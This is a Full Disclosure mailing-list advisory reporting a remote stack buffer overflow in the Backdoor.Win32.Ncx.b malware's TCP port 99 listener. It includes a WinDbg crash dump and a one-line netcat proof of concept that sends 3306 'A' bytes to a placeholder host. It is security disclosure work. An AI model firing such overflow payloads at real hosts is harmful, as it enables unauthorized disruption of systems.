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Message-ID: <CAAHK0WTfdLCuLSTY6Br_aCWyxAkHhq6HgwY7k+-NATgiFvw+AQ@mail.gmail.com> Date: Sat, 11 Dec 2021 16:22:36 -0500 From: malvuln <malvuln13@...il.com> To: fulldisclosure@...lists.org Subject: [FD] Backdoor.Win32.Ncx.b / Remote Stack Buffer Overflow Discovery / credits: Malvuln - malvuln.com (c) 2021 Original source: https://malvuln.com/advisory/991c1f02c809cee860cb712896a45338_B.txt Contact: malvuln13@...il.com Media: twitter.com/malvuln Threat: Backdoor.Win32.Ncx.b Vulnerability: Remote Stack Buffer Overflow Description: The malware listens on TCP port 99. Third-party attackers who can reach an infected system can send a large junk payload and trigger a classic stack buffer overflow overwriting the EIP, ECX registers. Type: PE32 MD5: 991c1f02c809cee860cb712896a45338 Vuln ID: MVID-2021-0422 ASLR: False DEP: False Safe SEH: True Disclosure: 12/11/2021 Memory Dump: (f40.12a4): Access violation - code c0000005 (first/second chance not available) eax=00000000 ebx=00000000 ecx=41414141 edx=77729d70 esi=00000000 edi=00000000 eip=41414141 esp=03051660 ebp=03051680 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246 41414141 ?? ??? 0:003> .ecxr eax=00000000 ebx=00000000 ecx=41414141 edx=77729d70 esi=00000000 edi=00000000 eip=41414141 esp=03051660 ebp=03051680 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246 41414141 ?? ??? 0:003> !analyze -v ******************************************************************************* * * * Exception Analysis * * * ******************************************************************************* *** WARNING: Unable to verify checksum for Backdoor.Win32.Ncx.b.991c1f02c809cee860cb712896a45338.exe *** ERROR: Module load completed but symbols could not be loaded for Backdoor.Win32.Ncx.b.991c1f02c809cee860cb712896a45338.exe FAULTING_IP: Backdoor_Win32_Ncx_b_991c1f02c809cee860cb712896a45338+1555 00401555 88443418 mov byte ptr [esp+esi+18h],al EXCEPTION_RECORD: 0314f9f4 -- (.exr 0x314f9f4) ExceptionAddress: 00401555 (Backdoor_Win32_Ncx_b_991c1f02c809cee860cb712896a45338+0x00001555) ExceptionCode: c0000005 (Access violation) ExceptionFlags: 00000000 NumberParameters: 2 Parameter[0]: 00000001 Parameter[1]: 03150000 Attempt to write to address 03150000 PROCESS_NAME: Backdoor.Win32.Ncx.b.991c1f02c809cee860cb712896a45338.exe ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s. EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s. EXCEPTION_PARAMETER1: 00000008 EXCEPTION_PARAMETER2: 41414141 WRITE_ADDRESS: 41414141 FOLLOWUP_IP: Backdoor_Win32_Ncx_b_991c1f02c809cee860cb712896a45338+1555 00401555 88443418 mov byte ptr [esp+esi+18h],al FAILED_INSTRUCTION_ADDRESS: +1555 41414141 ?? ??? MOD_LIST: <ANALYSIS/> NTGLOBALFLAG: 0 APPLICATION_VERIFIER_FLAGS: 0 IP_ON_HEAP: 027d0b40 The fault address in not in any loaded module, please check your build's rebase log at <releasedir>\bin\build_logs\timebuild\ntrebase.log for module which may contain the address if it were loaded. IP_IN_FREE_BLOCK: 41414141 CONTEXT: 0314fa44 -- (.cxr 0x314fa44) eax=00000041 ebx=7745e250 ecx=5804cfad edx=0314fdc4 esi=00000144 edi=027d0b40 eip=00401555 esp=0314fea4 ebp=740a1e90 iopl=0 nv up ei pl nz na po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202 Backdoor_Win32_Ncx_b_991c1f02c809cee860cb712896a45338+0x1555: 00401555 88443418 mov byte ptr [esp+esi+18h],al ss:002b:03150000=?? Resetting default scope FAULTING_THREAD: ffffffff BUGCHECK_STR: APPLICATION_FAULT_STACK_OVERFLOW_SOFTWARE_NX_FAULT_INVALID_EXPLOITABLE_FILL_PATTERN_41414141 PRIMARY_PROBLEM_CLASS: STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141 DEFAULT_BUCKET_ID: STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141 LAST_CONTROL_TRANSFER: from 027d0b40 to 00401555 FRAME_ONE_INVALID: 1 STACK_TEXT: 0314fea4 00401555 backdoor_win32_ncx_b+0x1555 0314fea8 027d0b40 unknown!unknown+0x0 STACK_COMMAND: .cxr 000000000314FA44 ; kb ; dds 314fea4 ; kb SYMBOL_STACK_INDEX: 0 SYMBOL_NAME: backdoor_win32_ncx_b+1555 FOLLOWUP_NAME: MachineOwner MODULE_NAME: Backdoor_Win32_Ncx_b_991c1f02c809cee860cb712896a45338 IMAGE_NAME: Backdoor.Win32.Ncx.b.991c1f02c809cee860cb712896a45338.exe DEBUG_FLR_IMAGE_TIMESTAMP: 34ae8eb9 BUCKET_ID: APPLICATION_FAULT_STACK_OVERFLOW_SOFTWARE_NX_FAULT_INVALID_EXPLOITABLE_FILL_PATTERN_41414141_BAD_IP_backdoor_win32_ncx_b+1555 FAILURE_BUCKET_ID: STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141_c0000005_Backdoor.Win32.Ncx.b.991c1f02c809cee860cb712896a45338.exe!Unknown Exploit/PoC: python -c "print('A'*3306)" | nc64.exe MALWARE_HOST 99 Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. 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